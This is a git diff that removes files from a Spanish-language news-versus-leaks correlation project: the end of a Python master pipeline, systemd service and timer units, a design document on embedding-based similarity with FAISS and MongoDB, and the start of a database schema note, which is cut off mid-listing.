|
|
||||||
ok = True
|
|
||||||
|
|
||||||
try:
|
|
||||||
# 2a. Análisis de imágenes con Qwen3-VL (resume automático)
|
|
||||||
log.info("\n[2a] Análisis imágenes Qwen3-VL (resume activado)")
|
|
||||||
imagenes_dir = BASE_DIR / "IMAGENES"
|
|
||||||
antes_img = db["imagenes"].count_documents({})
|
|
||||||
ok_img = run_script(
|
|
||||||
imagenes_dir / "pipeline_imagenes.py",
|
|
||||||
args=["--analizar",
|
|
||||||
"--carpeta", str(imagenes_dir / "output/wiki_images"),
|
|
||||||
"--mongo"],
|
|
||||||
cwd=imagenes_dir,
|
|
||||||
)
|
|
||||||
despues_img = db["imagenes"].count_documents({})
|
|
||||||
stats["imagenes_analizadas"] = despues_img - antes_img
|
|
||||||
log.info(f" Imágenes analizadas: +{stats['imagenes_analizadas']}")
|
|
||||||
if not ok_img:
|
|
||||||
ok = False
|
|
||||||
|
|
||||||
# 2b. Tokenización texto — pipeline_mongolo (noticias + wikipedia nuevos)
|
|
||||||
# Solo corre si hay docs nuevos sin tokenizar
|
|
||||||
log.info("\n[2b] Tokenización texto (pipeline_mongolo)")
|
|
||||||
comp_dir = BASE_DIR / "COMPARACIONES"
|
|
||||||
ok_tok = run_script(
|
|
||||||
comp_dir / "pipeline_mongolo.py",
|
|
||||||
cwd=comp_dir,
|
|
||||||
)
|
|
||||||
if not ok_tok:
|
|
||||||
ok = False
|
|
||||||
stats["tokenizacion"] = "ok" if ok_tok else "error"
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
log.error(f" ERROR en fase análisis: {e}")
|
|
||||||
ok = False
|
|
||||||
|
|
||||||
estado = "completado" if ok else "error"
|
|
||||||
log_fase_fin(db, log_id, estado, stats)
|
|
||||||
log.info(f"\n Fase análisis: {estado} | {stats}")
|
|
||||||
return ok
|
|
||||||
|
|
||||||
|
|
||||||
# ── FASE 3: COMPARACIÓN ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def fase_comparacion(db, forzar: bool = False):
|
|
||||||
log.info("\n" + "="*60)
|
|
||||||
log.info(" FASE 3 — COMPARACIÓN")
|
|
||||||
log.info("="*60)
|
|
||||||
|
|
||||||
if not fase_necesita_correr(db, "comparacion", forzar):
|
|
||||||
return
|
|
||||||
|
|
||||||
log_id = log_fase_inicio(db, "comparacion")
|
|
||||||
stats = {}
|
|
||||||
ok = True
|
|
||||||
|
|
||||||
try:
|
|
||||||
comp_dir = BASE_DIR / "COMPARACIONES"
|
|
||||||
antes = db["comparaciones"].count_documents({})
|
|
||||||
|
|
||||||
# Pasar la fecha de la última comparación para modo incremental
|
|
||||||
ultima = ultima_ejecucion_completada(db, "comparacion")
|
|
||||||
args = []
|
|
||||||
if ultima:
|
|
||||||
args = ["--desde", ultima.strftime("%Y-%m-%d")]
|
|
||||||
log.info(f" Modo incremental: solo docs desde {ultima.strftime('%Y-%m-%d')}")
|
|
||||||
else:
|
|
||||||
log.info(" Primera ejecución: comparando todo el corpus")
|
|
||||||
|
|
||||||
ok_comp = run_script(
|
|
||||||
comp_dir / "pipeline_completo.py",
|
|
||||||
args=args,
|
|
||||||
cwd=comp_dir,
|
|
||||||
)
|
|
||||||
despues = db["comparaciones"].count_documents({})
|
|
||||||
stats["comparaciones_nuevas"] = despues - antes
|
|
||||||
stats["total_comparaciones"] = despues
|
|
||||||
log.info(f" Comparaciones: +{stats['comparaciones_nuevas']} nuevas ({despues} total)")
|
|
||||||
if not ok_comp:
|
|
||||||
ok = False
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
log.error(f" ERROR en fase comparación: {e}")
|
|
||||||
ok = False
|
|
||||||
|
|
||||||
estado = "completado" if ok else "error"
|
|
||||||
log_fase_fin(db, log_id, estado, stats)
|
|
||||||
log.info(f"\n Fase comparación: {estado} | {stats}")
|
|
||||||
return ok
|
|
||||||
|
|
||||||
|
|
||||||
# ── Main ───────────────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
def main():
|
|
||||||
parser = argparse.ArgumentParser(description="Pipeline maestro FLUJOS")
|
|
||||||
parser.add_argument("--solo-fase", choices=["scraping", "analisis", "comparacion"],
|
|
||||||
help="Ejecutar solo una fase específica")
|
|
||||||
parser.add_argument("--forzar", action="store_true",
|
|
||||||
help="Ignorar cooldown entre ejecuciones")
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
inicio = datetime.utcnow()
|
|
||||||
log.info(f"\n{'='*60}")
|
|
||||||
log.info(f" FLUJOS PIPELINE MAESTRO — {inicio.strftime('%Y-%m-%d %H:%M UTC')}")
|
|
||||||
log.info(f"{'='*60}")
|
|
||||||
|
|
||||||
try:
|
|
||||||
db = get_db()
|
|
||||||
log.info(" MongoDB: conectado")
|
|
||||||
except ConnectionFailure as e:
|
|
||||||
log.error(f" MongoDB no disponible: {e}")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
# Setup índices dedup (idempotente)
|
|
||||||
log.info("\n Configurando índices de deduplicación...")
|
|
||||||
setup_indices(db)
|
|
||||||
|
|
||||||
with PipelineLock():
|
|
||||||
if args.solo_fase == "scraping" or not args.solo_fase:
|
|
||||||
fase_scraping(db, args.forzar)
|
|
||||||
|
|
||||||
if args.solo_fase == "analisis" or not args.solo_fase:
|
|
||||||
fase_analisis(db, args.forzar)
|
|
||||||
|
|
||||||
if args.solo_fase == "comparacion" or not args.solo_fase:
|
|
||||||
fase_comparacion(db, args.forzar)
|
|
||||||
|
|
||||||
duracion = datetime.utcnow() - inicio
|
|
||||||
log.info(f"\n Pipeline completado en {duracion}")
|
|
||||||
|
|
||||||
# Mostrar resumen del estado actual de la BD
|
|
||||||
log.info("\n Estado MongoDB:")
|
|
||||||
for col in ["wikipedia", "noticias", "imagenes", "imagenes_wiki", "comparaciones"]:
|
|
||||||
try:
|
|
||||||
n = db[col].count_documents({})
|
|
||||||
log.info(f" {col:20s}: {n:,}")
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
|
|
@ -1,27 +0,0 @@
|
||||||
[Unit]
|
|
||||||
Description=FLUJOS Pipeline Maestro (scraping → análisis → comparación)
|
|
||||||
After=network.target mongod.service
|
|
||||||
Requires=mongod.service
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=oneshot
|
|
||||||
User=__USER__
|
|
||||||
WorkingDirectory=__INSTALL_DIR__/FLUJOS_DATOS
|
|
||||||
|
|
||||||
Environment=MONGO_URL=mongodb://localhost:27017
|
|
||||||
Environment=DB_NAME=FLUJOS_DATOS
|
|
||||||
Environment=HF_HOME=__INSTALL_DIR__/FLUJOS_DATOS/IMAGENES/model_cache
|
|
||||||
|
|
||||||
ExecStart=__INSTALL_DIR__/FLUJOS_DATOS/myenv/bin/python3 \
|
|
||||||
__INSTALL_DIR__/FLUJOS_DATOS/pipeline_maestro.py
|
|
||||||
|
|
||||||
# 12h máximo (análisis VLM en CPU puede tardar)
|
|
||||||
TimeoutStartSec=43200
|
|
||||||
Restart=no
|
|
||||||
|
|
||||||
StandardOutput=journal
|
|
||||||
StandardError=journal
|
|
||||||
SyslogIdentifier=flujos-pipeline
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
|
|
@ -1,18 +0,0 @@
|
||||||
[Unit]
|
|
||||||
Description=Ejecutar FLUJOS Pipeline cada 12 horas
|
|
||||||
Requires=flujos-pipeline.service
|
|
||||||
|
|
||||||
[Timer]
|
|
||||||
# Cada 12 horas: a las 00:00 y 12:00
|
|
||||||
OnCalendar=*-*-* 00,12:00:00
|
|
||||||
|
|
||||||
# Si el servidor estaba apagado a las 3am, ejecutar al arrancar
|
|
||||||
Persistent=true
|
|
||||||
|
|
||||||
# Esperar 2 min tras el arranque para que MongoDB esté listo
|
|
||||||
OnBootSec=2min
|
|
||||||
|
|
||||||
Unit=flujos-pipeline.service
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=timers.target
|
|
||||||
|
|
@ -1,180 +0,0 @@
|
||||||
# Arquitectura de embeddings y correlación semántica
|
|
||||||
|
|
||||||
Cómo se representan los documentos como vectores y cómo se derivan de ahí las aristas
|
|
||||||
noticia↔leak del grafo. Reemplaza el solape de palabras del pipeline original.
|
|
||||||
|
|
||||||
Implementación: `coconews/workers/backfill_embeddings.py` (generación) y
|
|
||||||
`FLUJOS_DATOS/COMPARACIONES/motor_comparacion.py` (correlación).
|
|
||||||
|
|
||||||
---
|
|
||||||
### 2.4 Esquema canónico unificado (aditivo, no destructivo)
|
|
||||||
|
|
||||||
Una sola forma para todos los nodos (`noticias`, `torrents`, `wikipedia`, `imagenes`, `imagenes_wiki`):
|
|
||||||
|
|
||||||
```
|
|
||||||
{
|
|
||||||
_id,
|
|
||||||
archivo : string // UNIQUE. Clave de dedup y FK hacia comparaciones.
|
|
||||||
source_type : string // 'rss' | 'leak' | 'wikipedia' | 'imagen' | 'legacy_news'
|
|
||||||
tema, subtema : string
|
|
||||||
texto : string // ver 2.5 sobre la realidad del texto de leaks
|
|
||||||
fecha : ISODate|null
|
|
||||||
// --- bloque embedding (idéntico en todas las colecciones) ---
|
|
||||||
embedding : double[384] | null // SIEMPRE L2-normalizado en escritura (ver 4.x)
|
|
||||||
embedding_model : 'paraphrase-multilingual-MiniLM-L12-v2'
|
|
||||||
embedding_dim : 384
|
|
||||||
procesado_embedding: bool
|
|
||||||
apto_embedding : bool // NUEVO: gate de calidad (ver 4.x). false = no entra al índice
|
|
||||||
// --- solo docs largos troceados (rss / leak / wiki) ---
|
|
||||||
chunks : [ { idx, texto, embedding:double[384] } ]
|
|
||||||
// --- solo rss ---
|
|
||||||
url, titulo_original, lang, traducido, procesado_ner, entidades, fuente
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Nota de almacenamiento (corrección al borrador):** MongoDB BSON **no tiene tipo float de 32 bits** — todo número de array se guarda como `double` de 64 bits, escribas `np.float32` o no. Por tanto **guardar float32 NO ahorra disco en Mongo** (el ahorro es real solo en la RAM del índice FAISS al castear a `np.float32` antes de construirlo). El campo `embedding` ocupa 384·8 = **3 KB/doc en disco**; ver el cómputo de huella total en 2.7.
|
|
||||||
|
|
||||||
### 2.5 Realidad del texto de los leaks (bloqueante de calidad)
|
|
||||||
|
|
||||||
**El borrador asumía "texto completo sin limpiar"; eso es imposible para leaks.** El único texto de leak en disco es `txt/*_limpio.txt`, producido por `procesar_torrents.py::limpiar_texto`, que **pasa a minúsculas, elimina TODA la puntuación y quita stopwords ESPAÑOLAS sobre texto mayormente INGLÉS**. El directorio `files/` (texto crudo) está **vacío (0 ficheros)**. Embeber esa sopa de tokens des-puntuada y con acentos rotos (`proteccién`) da **peores** vectores que prosa limpia, porque los sentence-transformers dependen de puntuación y palabras función.
|
|
||||||
|
|
||||||
Decisión (requiere confirmación, ver §5-R1): **re-extraer el texto crudo desde los `.torrent`/ZIP originales** para `texto` (y rehacer chunking sobre prosa real), o **aceptar embeddings degradados** sobre `*_limpio.txt`. Recomendación: re-extraer, porque la calidad del matcher depende directamente de esto, pero acotar a un subconjunto curado primero (ver §5-R1).
|
|
||||||
|
|
||||||
### 2.6 Clave de dedup, namespaces y watermark
|
|
||||||
|
|
||||||
- **Dedup key = `archivo`** con índice único en **todas** las colecciones de nodo. Hoy falta el único en `torrents` (`pipeline_maestro.py::setup_indices`, líneas ~80-91, solo lo crea para wikipedia/noticias/imagenes/imagenes_wiki). **Extender `setup_indices` para incluir `torrents`.**
|
|
||||||
- **Normalización de namespaces — con corrección de viabilidad:**
|
|
||||||
- rss: el ingestor **hoy escribe `archivo = md5(link).hexdigest() + '.txt'`** (CON `.txt`, SIN prefijo `rss_`; el borrador lo decía mal). La migración debe **renombrar TODOS los `archivo` de `noticias` también** → `rss_<md5>` y reescribir sus edges. Esto **no es "aditivo y seguro"**: es un rename global de la clave de dedup en la colección canónica (ver 2.7, switch atómico).
|
|
||||||
- leak: **el re-key a `leak_<sha1(ruta_original)>` es inviable** — `procesar_torrents.py` **nunca escribe en Mongo** (no hay `MongoClient`), los torrents los inserta `pipeline_completo.py::procesar_documentos` con `archivo = basename(<relpath_saneado>_limpio.txt)`, y `limpiar_nombre_archivo` mapea `[\/*?:"<>|]→_` de forma **lossy**: la ruta original **no es recuperable** del nombre guardado. Decisión: **conservar el `basename` actual como clave**, prefijándolo a **`leak_<basename_sin_extension>`** (rename puramente textual sobre lo que ya existe, sin necesidad de la ruta original). Las colisiones reales de `procesar_torrents.py` (el `txt/` plano donde `<name>_limpio.txt` se pisa) se arreglan **en la re-extracción** (§2.5), no en la migración de claves.
|
|
||||||
- wiki: `wiki_<basename>`.
|
|
||||||
- **Watermark:**
|
|
||||||
- **Por documento:** `procesado_embedding=false` = pendiente de embeber (reanudable, idempotente, ya existe).
|
|
||||||
- **Por corrida:** `pipeline_log` (`fase`, `estado`, `fin`). **Corrección sobre `--desde`:** `pipeline_maestro` ya lo pasa (líneas 341-346) y `pipeline_completo.py` lo parsea (línea 219) y **lo ignora**. Pero honrarlo **no es un fix barato**: la comparación actual enumera **directorios de disco** (`os.listdir` de `.../tokenized`), no tiene `fecha` de Mongo en tiempo de comparación. **`--desde` solo se puede honrar de verdad DESPUÉS de reescribir el motor para sacar candidatos de Mongo (F5)** — está contabilizado dentro de F5, no como tarea suelta.
|
|
||||||
|
|
||||||
### 2.7 Migración sin dejar el grafo a oscuras (switch atómico)
|
|
||||||
|
|
||||||
El invariante load-bearing es **`comparaciones.noticia1/noticia2 == nodo.archivo`** (`FLUJOS_APP.js` construye `nodeIds` desde `result.archivo.trim()` y casa links por `noticiaN.trim()`). Renombrar `archivo` (incluido el de coconews: `md5+.txt → rss_<md5>`) **mientras** el productor legacy aún escribe `basename` rompe el grafo en cualquier estado intermedio (cero links → grafo vacío). Reglas:
|
|
||||||
|
|
||||||
1. **El rename de `archivo` y la reescritura de `comparaciones.noticia1/2` son UN solo switch atómico** (script único, idealmente regenerando `comparaciones` desde cero en la regeneración con `motor_comparacion.py` en vez de reescribir 52M docs in-place — ver §5-R4).
|
|
||||||
2. **Canonicalización de orden de pares ANTES del índice único:** almacenar siempre `noticia1 = min(a,b)`, `noticia2 = max(a,b)` (lexicográfico). Sin esto, el build del único `{noticia1,noticia2}` **falla** sobre los pares invertidos `(A,B)/(B,A)` que ya existen, y los re-runs duplican.
|
|
||||||
3. **Plan de rollback / "el grafo sigue vivo":** la regeneración de `comparaciones` (la regeneración con `motor_comparacion.py`) se hace en una colección nueva `comparaciones_v2` y se promueve con `renameCollection` (atómico, sub-segundo) solo cuando está poblada y con índices; si algo falla se descarta `comparaciones_v2` y el front sigue sirviendo la vieja. Ver coste/ventana en §4.
|
|
||||||
|
|
||||||
### 2.8 Pipeline de sync idempotente
|
|
||||||
|
|
||||||
Todo con **upsert keyed-by-`archivo`** (`update_one(..., upsert=True)`), nunca `insert_one`:
|
|
||||||
|
|
||||||
```
|
|
||||||
ingestor (rss) → upsert por archivo, swallow DuplicateKeyError [YA ASÍ]
|
|
||||||
procesar_documentos → cambiar insert_one → update_one upsert (leak/wiki)
|
|
||||||
embedder (generaliz.) → find({procesado_embedding:false, apto_embedding:true}) por colección → $set embedding
|
|
||||||
```
|
|
||||||
|
|
||||||
`pipeline_mongolo.py` (`insert_one`, no idempotente) **se retira** y, crítico, **hay que encontrar y desactivar quien lo relanzó hoy a las 00:53** (cron/timer/parent vivo) — matar los hijos con SIGKILL no basta si el padre sigue respawneando.
|
|
||||||
|
|
||||||
|
|
||||||
## 3. COMPARACIÓN con embeddings
|
|
||||||
|
|
||||||
### 3.1 Qué se reemplaza exactamente
|
|
||||||
|
|
||||||
`comparar_archivos`/`contar_palabras` (`pipeline_completo.py:76-99`): lee ficheros tokenizados de disco, `Counter()` de palabras, `porcentaje = sum(min(c1,c2) sobre comunes) / (len1+len2) * 100` sobre tokens **crudos incluyendo stopwords**, sin TF-IDF, sin poda → cruz completa O(n·m) (~41k noticias × ~36k torrents) → 52M docs en `comparaciones`, con docs idénticos topando al ~50%. Se reemplaza por **embedding por documento (una vez) + coseno top-k vía FAISS**.
|
|
||||||
|
|
||||||
### 3.2 Modelo, vectores y normalización
|
|
||||||
|
|
||||||
- **Modelo:** `sentence-transformers/paraphrase-multilingual-MiniLM-L12-v2`, 384-dim, cacheado por Hugging Face en `~/.cache/huggingface` (~458 MB), CPU, multilingüe.
|
|
||||||
- **Realidad cross-lingual (clave):** `translator.py:26` traduce **todas las noticias a ESPAÑOL** (`target='es'`); los **leaks NO se traducen**. La comparación real es **prosa-española-noticia vs sopa-de-keywords-inglesa-leak**. El coseno cross-lingual "mismo evento" de MiniLM suele caer en **0.35–0.5**, justo sobre el umbral propuesto. Por eso el umbral **se calibra con medición real, no por intuición** (§3.6) y se considera **umbral por par de idiomas** (mismo-idioma corre más alto que cross-idioma).
|
|
||||||
- **L2-normalización explícita (no hand-waved):** `encode()` de sentence-transformers 5.4.1 tiene `normalize_embeddings=False` por defecto, y `embedder.py:40` guarda `emb.tolist()` **crudo**. Para que `porcentaje_similitud = coseno*100` sea coseno, **tanto los vectores del índice como los de query deben estar normalizados**. Regla: **normalizar en escritura** (`emb = emb / np.linalg.norm(emb)` antes del `$set`) **y** re-normalizar defensivamente al cargar en FAISS. Así el inner product de `IndexFlatIP` == coseno y el umbral tiene sentido.
|
|
||||||
- **Chunking por tokens, no por chars (corrección):** hoy `texto[:512]` son **512 caracteres** (~80 palabras), no tokens — se pierde casi todo. Cambiar a **ventanas de ~256 tokens, solape ~32**, embeber cada chunk → `chunks[]`. **Cap de chunks content-aware, NO truncado duro:** el cap de "máx 20 chunks" del borrador descarta el 99.5% de un leak de 22 MB. En su lugar: si un doc excede el cap, **muestrear/representar todo el doc** (p.ej. embeber todos los chunks pero, para el índice, un cap por muestreo uniforme + el centroide), nunca quedarse con los primeros 20.
|
|
||||||
- **Gate de calidad `apto_embedding` (antídoto de falsos positivos):** muchos "leaks" no son prosa comparable — firmware/keys de calculadora (`voyage 200 freeware flash application signing key n5322...`), blobs hex, y en el lado noticias hay basura tipo `$100_OFF___TUSHY_Discount_Codes`. Un modelo de 384-dim mapea docs cortos de solo-keywords/hex a una región degenerada donde los cosenos son espuriamente altos. **Antes de embeber:** filtrar por nº mínimo de tokens reales, detectar y saltar blobs hex/key/code, detectar idioma. `apto_embedding=false` → no entra al índice ni forma edges.
|
|
||||||
|
|
||||||
### 3.3 Motor ANN: **FAISS (faiss-cpu), `IndexFlatIP`** — decisión final
|
|
||||||
|
|
||||||
| Opción | Veredicto |
|
|
||||||
|---|---|
|
|
||||||
| `$vectorSearch` (Atlas) | ❌ Imposible: Atlas-only; aquí Community self-hosted. |
|
|
||||||
| pgvector | ❌ Introduce Postgres, ausente del stack. Coste operativo injustificado. |
|
|
||||||
| Qdrant | ⚠️ Sobredimensionado: servicio extra, REST. Y un daemon más que puede crash-loopear (justo lo que estamos apagando). |
|
|
||||||
| hnswlib | ⚠️ Segunda opción: HNSW en un fichero, pip puro, persistente. Solo si un perfil real exige ANN aproximado. |
|
|
||||||
| brute-force numpy | ⚠️ Correcto pero innecesario: `IndexFlatIP` hace lo mismo (coseno exacto) más rápido y limpio. |
|
|
||||||
| **FAISS `IndexFlatIP`** | ✅ **Elegido.** |
|
|
||||||
|
|
||||||
**Justificación por volumen — corregida (el borrador omitía Wikipedia y subestimaba ~2×):**
|
|
||||||
|
|
||||||
| Corpus | Ficheros | Vectores (chunking, cap content-aware) |
|
|
||||||
|---|---|---|
|
|
||||||
| noticias (rss) | ~20k docs | ~20k+ (mayoría 1 chunk) |
|
|
||||||
| torrents (leaks) | 36.183 ficheros (hoy ~500 en Mongo) | ~288k chunks |
|
|
||||||
| wikipedia | 28.427 ficheros no vacíos | ~207k chunks |
|
|
||||||
| **Total (techo realista)** | | **~515k vectores** |
|
|
||||||
|
|
||||||
- **RAM del índice:** 515k × 384 × 4 B (float32 en FAISS) ≈ **791 MB** → trivial en 62 GB.
|
|
||||||
- **Coste de búsqueda:** ~20k queries (noticias) × ~495k corpus vía BLAS multinúcleo ≈ **1.3–6.3 min** por rebuild completo (medición teórica; confirmar con benchmark real en el box, §4-F0b).
|
|
||||||
- **Coseno exacto** sobre vectores L2-normalizados → sin pérdida de recall.
|
|
||||||
- **Cero daemons nuevos:** el índice se construye en-proceso dentro del job de comparación. Para crecimiento futuro a millones, `IndexFlatIP → IndexHNSWFlat` es un cambio de una línea.
|
|
||||||
- **Persistencia/staleness (gap del borrador):** el flat index **no es incrementalmente append-and-search-only-new** sin bookkeeping. Decisión explícita: **rebuild completo cada corrida** (es sub-minuto a pocos minutos, barato). Para sync incremental real (`--desde`), el rebuild completo sigue siendo la vía; si en el futuro las noticias crecen mucho (eje temporal: 20k es un snapshot, no un techo — `coconews` ingesta indefinidamente; a 200k noticias el rebuild es ~1 h), se reevalúa HNSW persistente.
|
|
||||||
|
|
||||||
### 3.4 Generación de candidatos (mata el O(n·m)) — con énfasis corregido
|
|
||||||
|
|
||||||
**El verdadero lever de escalado es `top-k`, no el bloqueo por tema.** El borrador presentaba el bloqueo por `tema` como mecanismo principal, pero `asignar_tema_y_subtema` hace matching de keywords **en español** sobre leaks **en inglés** → casi todos caen en `('otros','general')`, así que el bloqueo **colapsa a un índice global** justo para el corpus que domina el conteo de vectores. Como el global es solo ~6 min, es viable. Plan:
|
|
||||||
|
|
||||||
1. **Índice global ANN** (no por tema) como base, dado que el bloqueo por tema no es fiable para leaks. Opcionalmente, **clasificar leaks por embedding** (vecino más cercano a centroides de tema) para recuperar el bloqueo como optimización, no como dependencia (§5-R3).
|
|
||||||
2. **`top-k` por noticia**, con `k` derivado del cap real del front (ver 3.5).
|
|
||||||
3. Solo esos vecinos se escriben como edges. **Adiós a los 52M de pares casi-cero.**
|
|
||||||
|
|
||||||
### 3.5 Reducción chunk→edge y presupuesto de `k` (gap central resuelto)
|
|
||||||
|
|
||||||
**Reducción chunk→doc (el borrador la dejaba ambigua, era un hueco de corrección):** el índice se construye con **vectores a nivel de chunk** (recall local: "¿algún fragmento del leak menciona este evento?"). La búsqueda devuelve top-k **chunks**; se **colapsan a nivel de doc** así:
|
|
||||||
|
|
||||||
- `score_doc(noticia, leak) = max sobre chunks` del coseno, **pero** con un **guard anti-inflación**: para leaks muy largos (muchos chunks) el `max` casi siempre encuentra un chunk espurio ≥ umbral. Mitigación: exigir **al menos `m≥2` chunks distintos del leak** por encima de un umbral secundario, **o** combinar `max` con el coseno del **centroide del doc** (`score = 0.5·max_chunk + 0.5·centroide`) para penalizar el "un solo chunk casual". Se calibra junto al umbral (§3.6).
|
|
||||||
- Se escribe **un único edge por par `(noticia_archivo, leak_archivo)`** con el `score_doc` resultante → **no se reinfla `comparaciones`** ni colisionan múltiples chunk-hits sobre la clave `(noticia1,noticia2)`.
|
|
||||||
|
|
||||||
**Presupuesto de `k` respetando el cap real del front (corrección):** `MAX_LINKS_PER_NODE=8` en `FLUJOS_APP.js` **no** es "8 leaks por noticia": el front (líneas 228-241) **ordena TODOS los candidatos globalmente por `porcentaje_similitud` y hace asignación greedy capando el grado de AMBOS extremos a 8, cruzando TODOS los corpus** (noticias+wiki+torrents+imágenes). Implicaciones:
|
|
||||||
|
|
||||||
- Un leak popular que es top-8 de 50 noticias será **descartado** para 42 de ellas por el cap del lado-leak.
|
|
||||||
- Una noticia que ya enlaza a wiki/imágenes ve sus edges de leak **desplazados**.
|
|
||||||
|
|
||||||
Por tanto, **generar top-8-por-noticia no produce 8 edges visibles**. Plan: **generar `k` algo mayor (p.ej. `k=15–20` por noticia) como sobre-aprovisionamiento**, dejar que la asignación greedy simétrica cross-corpus del front recorte, y **medir** cuántos news↔leak edges sobreviven realmente al render para ajustar `k`. El cap no es una excusa para under-generar.
|
|
||||||
|
|
||||||
### 3.6 Umbral, calibración y evaluación (requisito previo, NO opcional)
|
|
||||||
|
|
||||||
- **No se compromete 0.45 a ciegas.** Antes de regenerar el grafo: **etiquetar a mano ~50 pares news↔leak conocidos** (y específicamente un subconjunto **cross-lingual** español↔inglés), generar el **histograma de coseno** sobre una muestra real, y elegir el umbral donde precision/recall sea aceptable. Es esperable un **umbral por par de idiomas** (same-language más alto que cross-language) para no infra-enlazar justo los pares español-noticia↔inglés-leak que son el objetivo del proyecto.
|
|
||||||
- **Mapeo al contrato:** `porcentaje_similitud = round(score_doc * 100, 2)`.
|
|
||||||
- **Recalibración del slider `complejidad` es OBLIGATORIA, no opcional (corrección):** el default `20`, el rango `1-40` y el `IMG_UMBRAL>=3` se ajustaron al overlap viejo (que topaba al ~50% e incluía stopwords). La distribución de `coseno·100` es **completamente distinta** → reusar esos números es una **regresión visual garantizada**. Tras ver la distribución real hay que re-tunear defaults del front (cambio mínimo en `FLUJOS_APP.js`, sí toca front — único toque necesario).
|
|
||||||
|
|
||||||
### 3.7 Documento de edge
|
|
||||||
|
|
||||||
```jsonc
|
|
||||||
{
|
|
||||||
noticia1: "leak_9f3c...", // = min(archivo_a, archivo_b) (canonicalizado, §2.7)
|
|
||||||
noticia2: "rss_ab12...", // = max(archivo_a, archivo_b)
|
|
||||||
porcentaje_similitud: 57.3, // = score_doc*100
|
|
||||||
// --- aditivos, ignorados por el front, útiles para auditoría ---
|
|
||||||
metodo: "embedding",
|
|
||||||
cosine: 0.573,
|
|
||||||
agregacion: "max_chunk+centroide",
|
|
||||||
modelo: "paraphrase-multilingual-MiniLM-L12-v2"
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
`FLUJOS_APP.js` lee solo `noticia1/noticia2/porcentaje_similitud` (+ rama `source1_type='imagen'`, intacta) → **cero cambios en el front salvo la recalibración del slider de §3.6**.
|
|
||||||
|
|
||||||
### 3.8 Throughput del backfill (el verdadero riesgo de escala — corregido a fondo)
|
|
||||||
|
|
||||||
> **Medido sobre texto real de leaks** (sentence-transformers 5.4.1, CPU de 24 cores con AVX2, sin GPU): **~59-66 chunks/s** (BATCH 20≈128: torch ya satura los cores por llamada). **Encode de 515k chunks ≈ 2.2 h**, NO 40-60 h. Las 40-60 h eran el wall-clock del loop ACTUAL (`sleep(2)`×~25k batches ≈14 h + 515k `update_one`). Quitando `sleep(2)` + `bulk_write` → backfill total **~2.5-3 h**. `normalize_embeddings=True` da vectores unitarios dim=384 (L2-norm = un flag). **GPU no es el cuello de botella.**
|
|
||||||
|
|
||||||
El borrador llamaba al backfill "un job nocturno, puede tardar horas". **Con la cadencia ACTUAL del embedder eso está mal por un orden de magnitud:** `BATCH=20` + `model.encode()` + **`time.sleep(2)` tras cada batch no vacío** + **`update_one` por documento** (no `bulk_write`). Backfillear ~515k chunks así = **40–60 HORAS** (solo el `sleep(2)` sobre ~25.757 batches son ~14 h de puro sleep; los 515k round-trips individuales añaden más). **La pregunta de GPU (§5-R7) es un distractor: el cuello de botella es la estructura del loop, no la falta de GPU.**
|
|
||||||
|
|
||||||
**Modo backfill explícito (separado del daemon trickle):**
|
|
||||||
1. **`BATCH ≥ 128`** (o mayor según RAM/CPU).
|
|
||||||
2. **Eliminar `sleep(2)`** en modo backfill (el sleep tiene sentido para el daemon incremental, no para una carga masiva).
|
|
||||||
3. **`bulk_write(ordered=False)`** en vez de `update_one` por doc — la mejora individual de mayor palanca.
|
|
||||||
4. **Medir chunks/s real en el box** (con/sin AVX-512) antes de comprometer un ETA — un único `model.encode` sobre un batch de chunks de 256 tokens convierte el ETA de adivinanza en número (§4-F0b).
|
|
||||||
|
|
||||||
### 3.9 Índices que faltan (bloqueante para que el front no haga full-scan)
|
|
||||||
|
|
||||||
`comparaciones` (52M docs) **no tiene índice en `noticia1`/`noticia2`** → la `linksQuery` con `$in` (`FLUJOS_APP.js:213-222`) es un **scan de colección**. Crear compuesto `{noticia1:1, noticia2:1}`. El **único** `{noticia1,noticia2}` solo **después** de canonicalizar el orden de pares (§2.7) — si no, el build falla sobre los invertidos.
|
|
||||||
|
|
||||||
### 3.10 Huella en disco y presión sobre WiredTiger (gap del borrador)
|
|
||||||
|
|
||||||
515k vectores × 384 × 8 B (double BSON) ≈ **1.6 GB** de arrays `embedding` añadidos a la base, **más** los `chunks[].embedding` inline duplicando vector por chunk dentro de cada doc (esto **infla el tamaño de cada doc** de `torrents`/`wikipedia` y por tanto el working-set). El caché WiredTiger por defecto es ~50% de 62 GB. **Acción:** monitorizar el crecimiento, y si los `chunks[]` inline pesan demasiado en el working-set, considerar una **colección separada `chunks_embeddings`** (un doc por chunk) en vez de array inline. Decisión a tomar con el número real tras F3.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
@ -1,223 +0,0 @@
|
||||||
# MongoDB — Contexto técnico FLUJOS
|
|
||||||
**Fecha:** 2026-04-21
|
|
||||||
**Instancia:** `mongodb://localhost:27017` (solo localhost, no expuesto)
|
|
||||||
**Base de datos:** `FLUJOS_DATOS`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Colecciones y esquema
|
|
||||||
|
|
||||||
### `wikipedia`
|
|
||||||
Artículos scrapeados de la API de Wikipedia por temas.
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"_id": ObjectId,
|
|
||||||
"archivo": "Nombre_del_articulo.txt", // UNIQUE INDEX — clave de dedup
|
|
||||||
"tema": "guerra global",
|
|
||||||
"subtema": "alianzas militares",
|
|
||||||
"texto": "Contenido completo del artículo...",
|
|
||||||
"fecha": ISODate | null
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### `noticias`
|
|
||||||
Artículos scrapeados de ~90 medios internacionales (ver scraper de noticias).
|
|
||||||
|
|
||||||
```json
|
|
||||||
{
|
|
||||||
"_id": ObjectId,
|
|
